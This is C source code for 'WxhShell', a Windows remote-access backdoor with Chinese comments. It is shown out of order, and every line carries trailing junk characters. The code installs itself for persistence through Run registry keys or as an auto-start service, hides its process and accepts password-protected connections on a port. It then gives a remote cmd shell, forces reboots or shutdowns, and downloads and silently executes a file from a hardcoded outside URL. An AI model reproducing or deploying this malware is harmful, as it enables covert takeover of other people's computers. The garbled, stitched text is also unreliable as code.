    if(Boot(SHUTDOWN)) <r@bNx@T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $Gr4sh!cE  
    else { 5 1v r^  
    closesocket(wsh); Cl%V^xTb  
    ExitThread(0); A!n~8zcmp}  
    } R %Rv  
    break; BYTXAZLb  
    } ::kpl2r\c  
  // 获取shell @2QJm  
  case 's': { i%#th'C!P  
    CmdShell(wsh); _a?wf!4>P  
    closesocket(wsh); Jv-zB]3&  
    ExitThread(0); B/kcb(5v  
    break; sxf}Mmsk  
  } wOD/Z8  
  // 退出 H0 {Mlu9  
  case 'x': { |p'_k(z}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hhN(;.  
    CloseIt(wsh); $Vd?K@W[h  
    break; J(H??9(s  
    } lr)G:I#|  
  // 离开 @G^j8Nl+J}  
  case 'q': { qpH j4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7{?lEQ&UE  
    closesocket(wsh); Pcd i  
    WSACleanup(); 7Y|Wy Oq  
    exit(1); @ J?-a m>  
    break; 0Og/47dO.2  
        } 3JwSgcb  
  } C.DoXE7  
  } ylo]`Nq  
3hp tP  
  // 提示信息 N^nDWK  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M%nZu{  
} =|DkD- O  
  } $~;6hnr m  
_rWTw+ L  
  return; #t5JUi%in*  
} *X"F:7  
/9t*CEu\  
// shell模块句柄 +'{:zN5m  
int CmdShell(SOCKET sock) \!? PhNv  
{ 7~Xu71^3s  
STARTUPINFO si; o =jX  
ZeroMemory(&si,sizeof(si)); dNS9<8JX  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =}6Z{}(TT  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {d{WMq$  
PROCESS_INFORMATION ProcessInfo; 0|f_C3  
char cmdline[]="cmd"; }K qw\]`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); EHE6 -^F  
  return 0; }&'yt97+  
} k_.j%  
,sy / r V  
// 自身启动模式 Cys/1DkE  
int StartFromService(void) =#PudF.\  
{ fitK2d   
typedef struct =r@ie>* U  
{ 9h)P8B.>M  
  DWORD ExitStatus; :W1tIB  
  DWORD PebBaseAddress; |x}&wFV  
  DWORD AffinityMask; _ 3-,3ia  
  DWORD BasePriority; Jg?pW:}R  
  ULONG UniqueProcessId; @b(gjOE  
  ULONG InheritedFromUniqueProcessId; '~!l(&X  
}   PROCESS_BASIC_INFORMATION; q0xE&[C[M  
0v,`P4_k  
PROCNTQSIP NtQueryInformationProcess; lj%;d'  
]mDsUZf<  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; vb4G_X0S  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gP"Mu#/D  
M KE[Yb?  
  HANDLE             hProcess; ;Ef)7GE@\[  
  PROCESS_BASIC_INFORMATION pbi; '@1Qx~*]e  
8Gzs  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); K <fq=:I3  
  if(NULL == hInst ) return 0; \H'CFAuF  
Ij,?G*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -a#AE|`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EJiF_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~S<F  
.<|4PG  
  if (!NtQueryInformationProcess) return 0; {:q9:  
'3kL=(  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); PT5ni6  
  if(!hProcess) return 0; ?}>B4Z)  
2%, ' }Bus  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; GA*Khqdid  
,t,65@3+b  
  CloseHandle(hProcess); OEqe^``!  
Vu8-Cy>Q?  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &-. eu  
if(hProcess==NULL) return 0; ;|e 0{Jrz  
/Gu2@m[r  
HMODULE hMod; u\\niCNA  
char procName[255]; C{Xk/Er5<  
unsigned long cbNeeded; 70l;**"4  
;$&5I9N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); OKH~Y-%<  
Jd_1>p  
  CloseHandle(hProcess); k*+ZLrT  
N`^W*>XB  
if(strstr(procName,"services")) return 1; // 以服务启动 d}G."wnG9,  
UyfIAC$S  
  return 0; // 注册表启动 9MlfZsby  
} MnsWB[  
rnrx%Q  
// 主模块 Z["nY&.sI  
int StartWxhshell(LPSTR lpCmdLine) %^BOYvPx  
{ -D':7!@  
  SOCKET wsl; 9w<_XXQ  
BOOL val=TRUE; %3B>1h9N  
  int port=0; OX`GN#yl  
  struct sockaddr_in door; ])";Z  
nylIP */  
  if(wscfg.ws_autoins) Install(); 5nw9zW :'  
w9h5f  
port=atoi(lpCmdLine); @(5RAYRV  
,#FH8%Yf  
if(port<=0) port=wscfg.ws_port; ^bw~$*"j#  
#6Ph"\G/  
  WSADATA data; F476"WF  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; tm#y `1-  
G+yz8@  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2xxwQwg8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !a&F:Fbm  
  door.sin_family = AF_INET; dfd%A" I  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .-*nD8b  
  door.sin_port = htons(port); O&RHCR-\  
mq} #{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /]>{"sS(  
closesocket(wsl); "N"k8,LH  
return 1; 6E&&0'm  
} r>eXw5Pr7  
ZdzGJ[$  
  if(listen(wsl,2) == INVALID_SOCKET) { ,6)y4=8 L  
closesocket(wsl); cHd39H9  
return 1; !ry+ r!"  
} a"N_zGf2$  
  Wxhshell(wsl); OH~qJ <  
  WSACleanup(); xef7mx  
?':'zT  
return 0; AY erz  
0w&1wee(  
} sZ$ ~abX  
eT?LMBn\  
// 以NT服务方式启动 6g&nnA  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )&-+:u0  
{ {1c eF  
DWORD   status = 0; F`3As 9b:  
  DWORD   specificError = 0xfffffff; j+_75t`AZ  
|e(x< [s5  
  serviceStatus.dwServiceType     = SERVICE_WIN32; a-=apD1RvG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; PUArKBYM-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Hn.UJ4V  
  serviceStatus.dwWin32ExitCode     = 0; [b'fz  
  serviceStatus.dwServiceSpecificExitCode = 0; CAO{$<M5m  
  serviceStatus.dwCheckPoint       = 0; vnpX-c  
  serviceStatus.dwWaitHint       = 0; ybkN^OEJ  
<GEn9;\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0^^i=iE-u  
  if (hServiceStatusHandle==0) return; $Q4b~  
Z2 4 m  
status = GetLastError(); d_hcv|%  
  if (status!=NO_ERROR) ~VKXL,.  
{ Pl>t\`1:|A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; R~([  
    serviceStatus.dwCheckPoint       = 0; {5`?0+  
    serviceStatus.dwWaitHint       = 0; 9x\G(w  
    serviceStatus.dwWin32ExitCode     = status;  X'<xw  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]y e &#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *WG}K?"/  
    return; Qa+gtGtJ  
  } I&c#U+-A'  
/|f]L9)2<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v2Y=vr  
  serviceStatus.dwCheckPoint       = 0; B*7o\~5  
  serviceStatus.dwWaitHint       = 0; Yn/-m Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0XNb@ogo  
} m`cG&Ar5  
,8 seoX^  
// 处理NT服务事件,比如:启动、停止 NGu]|p  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E%N]t} }[  
{ I6_+3}Hm{  
switch(fdwControl) *yx:nwmo  
{ YzqhFFaj.  
case SERVICE_CONTROL_STOP: G 2##M8:U0  
  serviceStatus.dwWin32ExitCode = 0; Z)~ 2{)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Qd&j~cG@  
  serviceStatus.dwCheckPoint   = 0; @,vSRns  
  serviceStatus.dwWaitHint     = 0; |rQ;|+.  
  { >8so'7(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); F(9T;F  
  } :%gBcL9T  
  return; /VQ<}S[k}-  
case SERVICE_CONTROL_PAUSE: Y9N:%[ :>W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9^n ]qg^  
  break; t@\0$V \X  
case SERVICE_CONTROL_CONTINUE: 42M3c&@P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; apXq$wWq{D  
  break; pH%K4bV)8  
case SERVICE_CONTROL_INTERROGATE: be_t;p`3  
  break; P<1zXs.H  
}; (DU{o\=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7@\iBmr6  
} Y`wi=(  
(`&g  
// 标准应用程序主函数 @4pN4v8U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z|Xl%8  
{ >}iYZ[ V  
P7 n~Ui~U  
// 获取操作系统版本 d 9|u~3  
OsIsNt=GetOsVer(); ?AEpg.9R-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f`Nu]#i  
rv+"=g  
  // 从命令行安装 I?=Q *og  
  if(strpbrk(lpCmdLine,"iI")) Install(); \K=Jd#9c  
rfk';ph  
  // 下载执行文件 yR&E6o.$z  
if(wscfg.ws_downexe) { j JW0a\0  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M:A7=rO~  
  WinExec(wscfg.ws_filenam,SW_HIDE); T SOt$7-  
} QS[%`-dR2  
D_@^XS  
if(!OsIsNt) { vR-/c  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^vzNs>eJ  
HideProc(); o_cj-  
StartWxhshell(lpCmdLine); E7N1B*KI  
} _z_uz \#,  
else "|hmiMdGB  
  if(StartFromService()) {d) +a$qj  
  // 以服务方式启动 b[$>HB_Na  
  StartServiceCtrlDispatcher(DispatchTable); TR#5V@e.m  
else +m"iJW0  
  // 普通方式启动 ?wmr~j  
  StartWxhshell(lpCmdLine); j0Q ;OKu  
]_-<[0  
return 0; ^ H'|iju  
} b747eR 7E  
Ih.o;8PpK  
.; :[sv)  
)UWE.o BI  
=========================================== sYvO"|  
c1c0b|B!U  
ztf(.~  
JMoWA0f  
MVV<&jho{^  
f F?=W  
" IKpNc+;p  
^NP" m  
#include <stdio.h> *F=w MWa  
#include <string.h> \i{=%[c  
#include <windows.h> )4j#gHN\  
#include <winsock2.h> Y1+f(Q  
#include <winsvc.h> WFtxEIrl3j  
#include <urlmon.h> zp d4uto5  
oSxHTbp?  
#pragma comment (lib, "Ws2_32.lib") fuQ? @F  
#pragma comment (lib, "urlmon.lib") y>|7'M*+  
V]IS(U(  
#define MAX_USER   100 // 最大客户端连接数 !IP[C?(nB  
#define BUF_SOCK   200 // sock buffer NX$$4<A1  
#define KEY_BUFF   255 // 输入 buffer Up`zVN59.  
Uc \\..Cf  
#define REBOOT     0   // 重启 I(pU_7mw  
#define SHUTDOWN   1   // 关机 lepgmQ|oY  
>pr{)bp G  
#define DEF_PORT   5000 // 监听端口 X=-pNwO   
WnA]gyc  
#define REG_LEN     16   // 注册表键长度 ]ZZ7j  
#define SVC_LEN     80   // NT服务名长度 <Cm:4)~  
a(!:a+9WOP  
// 从dll定义API P$\( Bd\76  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #BF(#1:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vuA';,:~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mq >Ag  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); &!a[rvtZ+  
,:j^EDCsaJ  
// wxhshell配置信息 FX 0^I 0  
struct WSCFG { sLPFeibof5  
  int ws_port;         // 监听端口 Lr_+) l  
  char ws_passstr[REG_LEN]; // 口令 q#F;GD  
  int ws_autoins;       // 安装标记, 1=yes 0=no 0O|T\E8 e  
  char ws_regname[REG_LEN]; // 注册表键名 3@_je)s  
  char ws_svcname[REG_LEN]; // 服务名 >?'cZTNk]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ^3F[^#"  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rV54-K;`0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gs7H9%j{U  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -aXV}ZY"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7JQ5OC3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 P] ouLjyq  
<{JHFU`^  
}; 1)X%n)2pr  
7_?:R2]n  
// default Wxhshell configuration ej]^VS7w[r  
struct WSCFG wscfg={DEF_PORT, OXK?R\ E+  
    "xuhuanlingzhe", AM#VRRTU  
    1, % Lhpj[C  
    "Wxhshell", 1.4]T, `  
    "Wxhshell", ~6Vs>E4G  
            "WxhShell Service", s0~a5Ti3  
    "Wrsky Windows CmdShell Service", x@;XyQq  
    "Please Input Your Password: ", j *Ta?'*  
  1, bW7tJ  
  "http://www.wrsky.com/wxhshell.exe", -SGR)  
  "Wxhshell.exe" ) ^'Q@W  
    }; &jT>)MXPu  
s7A{<>:  
// 消息定义模块 >2_BL5<S  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8$io^n\i  
char *msg_ws_prompt="\n\r? for help\n\r#>"; q&B'peT  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; RFU(wek  
char *msg_ws_ext="\n\rExit."; Ou"QUn|  
char *msg_ws_end="\n\rQuit."; ;EP7q[  
char *msg_ws_boot="\n\rReboot..."; nU-.a5  
char *msg_ws_poff="\n\rShutdown..."; v7&e,:r2E@  
char *msg_ws_down="\n\rSave to "; cpF\^[D  
j7K9T  
char *msg_ws_err="\n\rErr!"; Og4 X3QG  
char *msg_ws_ok="\n\rOK!"; >0k7#q}O  
Ok/~E  
char ExeFile[MAX_PATH]; Z3<>Z\6D  
int nUser = 0; mT <4@RrB  
HANDLE handles[MAX_USER]; MUh )  
int OsIsNt; \rY|l  
pk%I98! Jy  
SERVICE_STATUS       serviceStatus; %<6oKE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; GNS5v-"H  
iA3d[%tBb  
// 函数声明 %6j|/|#]  
int Install(void); 8>RGmue  
int Uninstall(void); OD-CU8X9  
int DownloadFile(char *sURL, SOCKET wsh); eS8tsI  
int Boot(int flag); iJv4%|9  
void HideProc(void); =G]} L<  
int GetOsVer(void); $v#Q'?jE  
int Wxhshell(SOCKET wsl); dd>|1'-]  
void TalkWithClient(void *cs); nud,ag  
int CmdShell(SOCKET sock); R/R[r> 1)6  
int StartFromService(void); Z#BwJHh  
int StartWxhshell(LPSTR lpCmdLine); gV1&b (h  
0N$tSTo.-<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $)\%i=  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v%n'_2J =^  
I~\j%zD  
// 数据结构和表定义 g e)g?IP4  
SERVICE_TABLE_ENTRY DispatchTable[] = g6o-/A!Q3  
{ {(]B{n  
{wscfg.ws_svcname, NTServiceMain}, 6e&Y%O'8  
{NULL, NULL} E]WammX c  
}; 1dh_"/  
?`V%[~4_I  
// 自我安装 'uBXSP#  
int Install(void) D{'x7!5r  
{ ;Xg6'yxJ  
  char svExeFile[MAX_PATH]; X&nkc/erx  
  HKEY key; A(X~pP &oF  
  strcpy(svExeFile,ExeFile); 3.U5Each-  
<Z{\3X^  
// 如果是win9x系统,修改注册表设为自启动 } R!-*Wk  
if(!OsIsNt) { y K)7%j!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  /s.sW l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v^2K=f[nE  
  RegCloseKey(key); XmXp0b7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |C?<!6.QmV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H>AQlO+J  
  RegCloseKey(key); 8.HqQ:?&2t  
  return 0; 7].tt  
    } 2c@4<kyfP  
  } PeEf=3  
} |VbF&*v`  
else { ^eQK.B(  
Sq8` )$\  
// 如果是NT以上系统,安装为系统服务 Zm& X $U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0^nnR7  
if (schSCManager!=0) jv<BGr=4;  
{ "gjy+eosY  
  SC_HANDLE schService = CreateService u'M \m7  
  ( c7X5sMM,  
  schSCManager, 9i GUE  
  wscfg.ws_svcname, ;V`e%9 .  
  wscfg.ws_svcdisp, gfG Mu0FjB  
  SERVICE_ALL_ACCESS, a<7Ui;^@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , fw kX-ON  
  SERVICE_AUTO_START, hE0 p> R8  
  SERVICE_ERROR_NORMAL, W(a31d  
  svExeFile, u!?cKZw  
  NULL, Eh&*"&fHR  
  NULL, $50A!h  
  NULL, E9TWLB5A)(  
  NULL, <gRv7 ?V[z  
  NULL <x@brXA  
  ); ~c~N _b  
  if (schService!=0) ,0O9!^  
  { d|CSWcU  
  CloseServiceHandle(schService); Pd9qY 8CP  
  CloseServiceHandle(schSCManager); F B-?{78~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");  "_t2R &A  
  strcat(svExeFile,wscfg.ws_svcname); u^T)4~(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .<5 66g}VP  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hi4#8W  
  RegCloseKey(key); H!mNHY_fA  
  return 0; .E}fk,hLB  
    } H"lq!C`  
  } unu%\f>^4  
  CloseServiceHandle(schSCManager); hvCX,^LoJ  
} }@%A@A{R  
} ':YFm  
TOmq2*,/  
return 1; 5<h7+ %?t9  
} 78&(>8@m  
}qU(G3  
// 自我卸载 ~/s(.oji  
int Uninstall(void) !\w@b`Iv8  
{ jx B  
  HKEY key; at"-X?`d  
>8h14uCk  
if(!OsIsNt) { @H[)U/.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2k}~"!e1  
  RegDeleteValue(key,wscfg.ws_regname); @9S3u#vP  
  RegCloseKey(key); zMlW)NB'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~5LlIpf36|  
  RegDeleteValue(key,wscfg.ws_regname); %GS^=Qr  
  RegCloseKey(key); OSACH0h  
  return 0; MNd8#01q`  
  } ^y:!=nX^  
} ?t<yk(q  
} i i&kfy  
else { 8+'9K%'@qX  
#+dF3]X(&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2_i/ F)W  
if (schSCManager!=0) &ru2&Sz  
{ > Q[L, I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :: IAXGH)  
  if (schService!=0) 2P)*Y5`KBH  
  { #+$pE@u7A  
  if(DeleteService(schService)!=0) { 6aC'\8{h  
  CloseServiceHandle(schService); nO-1^HUl  
  CloseServiceHandle(schSCManager);  %T9'dcM  
  return 0; sXe=4`O  
  } +M@p)pyu  
  CloseServiceHandle(schService); xZ2^lsY  
  } ` s [77V>  
  CloseServiceHandle(schSCManager); =e\E{K'f@  
} 2Lravb3  
} um.s :vj$  
_19x`J3  
return 1; Y\#+-E  
} )X-~+X91 S  
PeCU V6  
// 从指定url下载文件 N=4`jy =  
int DownloadFile(char *sURL, SOCKET wsh) Z?@1X`@  
{ }~/u%vI@M5  
  HRESULT hr; {zGM[A  
char seps[]= "/"; z +NxO !y  
char *token; {|cuu"j26  
char *file; WEX6I 16  
char myURL[MAX_PATH]; 9hoTxWpmy  
char myFILE[MAX_PATH]; f( =3'wQ  
8&d s  
strcpy(myURL,sURL); R^t )~\d  
  token=strtok(myURL,seps); #L,>)XkjS  
  while(token!=NULL) wD9Gl.uQ  
  { ~Ey)9phZK  
    file=token; w?u4-GT  
  token=strtok(NULL,seps); K8>-%ns  
  } PH,MZ"Z%  
e[5= ?p@|  
GetCurrentDirectory(MAX_PATH,myFILE); y]9PLch]vZ  
strcat(myFILE, "\\"); $inpiO|s  
strcat(myFILE, file); %M? A>7b  
  send(wsh,myFILE,strlen(myFILE),0); |q0MM^%"  
send(wsh,"...",3,0); (<.uvq61  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); X9:4oMux7  
  if(hr==S_OK) ;0R|#9oX_  
return 0; 1w30Vj2<  
else ;|nC;D]  
return 1; Z:TW{:lrI  
MXQ S6F#  
} A4C4xts]N  
kTCWyc  
// 系统电源模块 49/j9#hr  
int Boot(int flag) G"_ 8`l  
{ ux8:   
  HANDLE hToken; 7&I+mw/X  
  TOKEN_PRIVILEGES tkp;  (C1@f!Z  
| .8lS3C  
  if(OsIsNt) { `#v(MK{9+V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aWtyY[=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {9 PeBc  
    tkp.PrivilegeCount = 1; sE,Q:@H5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; x+mf QcSD&  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  'Dh+v3O  
if(flag==REBOOT) { .1O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @(;zU~l/  
  return 0; p-KMELB  
} /.?m9O^ F  
else { ch^tq",1>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y~R['u,  
  return 0; $d@_R^]X  
} vZ<@m2  
  } hM": ?Rx  
  else { ZO^Y9\L  
if(flag==REBOOT) { \|OW`7Q)k  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <%@S-+D`]  
  return 0; "q-,140_  
} z j[/~ I  
else { xe4F4FC'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]+ \]2`?  
  return 0; {95z\UE}  
} upD 2vtU  
} a0s6G3J+9  
}w,^]fC:  
return 1; K >-)O=$s  
} L}>XH*  
09_L^'`  
// win9x进程隐藏模块 'h?;i2[  
void HideProc(void) d"7l<y5  
{ 2J^jSgr50d  
$#bgt   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ("UzMr,  
  if ( hKernel != NULL ) g?(h{r`  
  { O{sb{kk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9c /&+j  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K):MT[/"  
    FreeLibrary(hKernel); <> jut  
  } =h`yc$ A(2  
hQm"K~SW=  
return; _N.N?>  
} ;:w?&4  
**zh>Y}6  
// 获取操作系统版本 qk Cj33v  
int GetOsVer(void) Anpx%NVo  
{ :d&^//9  
  OSVERSIONINFO winfo; 3#d5.Ut  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); nm!5L[y!0  
  GetVersionEx(&winfo); pH?tr  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Dm,*G`Js  
  return 1; /Dn,;@ZwAi  
  else FfDe&/,/  
  return 0; t+R8{9L-  
} rA/jNX@S  
;8Z\bHQ>  
// 客户端句柄模块 :RJ=f  
int Wxhshell(SOCKET wsl) $oefG}h2  
{ +1K9R\  
  SOCKET wsh; L*A9a  
  struct sockaddr_in client; XJ3 5Z+M  
  DWORD myID; $)L=MEdx  
mN_KAln  
  while(nUser<MAX_USER) \6UK:'5{  
{ }CR@XD}[  
  int nSize=sizeof(client); f0 ;Fokt(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); qusX]Tst z  
  if(wsh==INVALID_SOCKET) return 1; {Jv m *   
+Om(&\c(6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "V|1w>s  
if(handles[nUser]==0) QEl:>HG  
  closesocket(wsh); @`qhQ  
else %p5%Fs`sd  
  nUser++; HG(J+ocn   
  } Ig&=(Kmr  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'USol<  
=WaZy>n}7  
  return 0; &N{XLg>  
} u$7o d$&S  
0]tr&BLl*  
// 关闭 socket  V~V_+  
void CloseIt(SOCKET wsh) [m>kOv6>^  
{ gZ!vRO <%  
closesocket(wsh); `"N56  
nUser--; "3kIQsD|j  
ExitThread(0); W'Wr8~{h  
} gO0X-fN8  
9v=fE2`-  
// 客户端请求句柄 x|#R$^4CY  
void TalkWithClient(void *cs) /D]?+<h1  
{ Cr?|bDv}o  
ZK =`Y@  
  SOCKET wsh=(SOCKET)cs; ,KXS6:1%5Y  
  char pwd[SVC_LEN]; z1LN|+\}  
  char cmd[KEY_BUFF]; LKCj@NdV  
char chr[1]; OH2Xxr[bQ  
int i,j; n H)6mOYp  
5PY,}1`  
  while (nUser < MAX_USER) { Fa}3UVm  
#KC& ct  
if(wscfg.ws_passstr) { d5/x2!mH8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); LvlVZjT  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -O.q$D=as  
  //ZeroMemory(pwd,KEY_BUFF); R`? '|G]P  
      i=0; rJ2yi6TB\  
  while(i<SVC_LEN) { m+y5Q&;f  
]L/h,bVI1  
  // 设置超时 5)g6yV'  
  fd_set FdRead; #r\,oXTm  
  struct timeval TimeOut; [,A*nU$  
  FD_ZERO(&FdRead); #bxUI{*J  
  FD_SET(wsh,&FdRead); > /,7j:X  
  TimeOut.tv_sec=8; !q:[$g-@q  
  TimeOut.tv_usec=0; (9!$p|d*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); $a^YJY^_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %,HuG-L  
J$' Q3k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); El3Y1g3+3  
  pwd=chr[0]; tOn 6  
  if(chr[0]==0xd || chr[0]==0xa) { T#ktC0W]h  
  pwd=0; #\15,!*a=  
  break; drr W?U  
  } r_8[}|7;  
  i++; ulY8$jB  
    } 60 D0z  
DG2CpR)S  
  // 如果是非法用户,关闭 socket 8SV.giG;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (XF"ckma  
} <1r#hFUUL  
uc>u=kEue  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); f{s}[p~  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l* ~".q;S  
fk*$}f  
while(1) { \Y37wy4  
t0^chlJP$  
  ZeroMemory(cmd,KEY_BUFF); 1N8:,bpsT  
ii< /!B(  
      // 自动支持客户端 telnet标准   @xKfqKoqg  
  j=0; XTzz/.T;Z  
  while(j<KEY_BUFF) { h'Gs$o7#P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 58TH|Rj+I  
  cmd[j]=chr[0]; N*Is_V\R  
  if(chr[0]==0xa || chr[0]==0xd) { w(>mP9Cb  
  cmd[j]=0; oP[R?zN  
  break; /UwB6s(  
  } GJpQcse%  
  j++; tc.`P]R   
    } +(a}S$C  
qFqK. u  
  // 下载文件 xN^ngRg0  
  if(strstr(cmd,"http://")) { w$E8R[J~P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); M/!5r  
  if(DownloadFile(cmd,wsh)) EbG`q!C  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n@`D:;?{  
  else S,I|8 YE  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lWiC$  
  } p\>im+0oh  
  else { pwu8LQ3b{O  
u]<7}R@s  
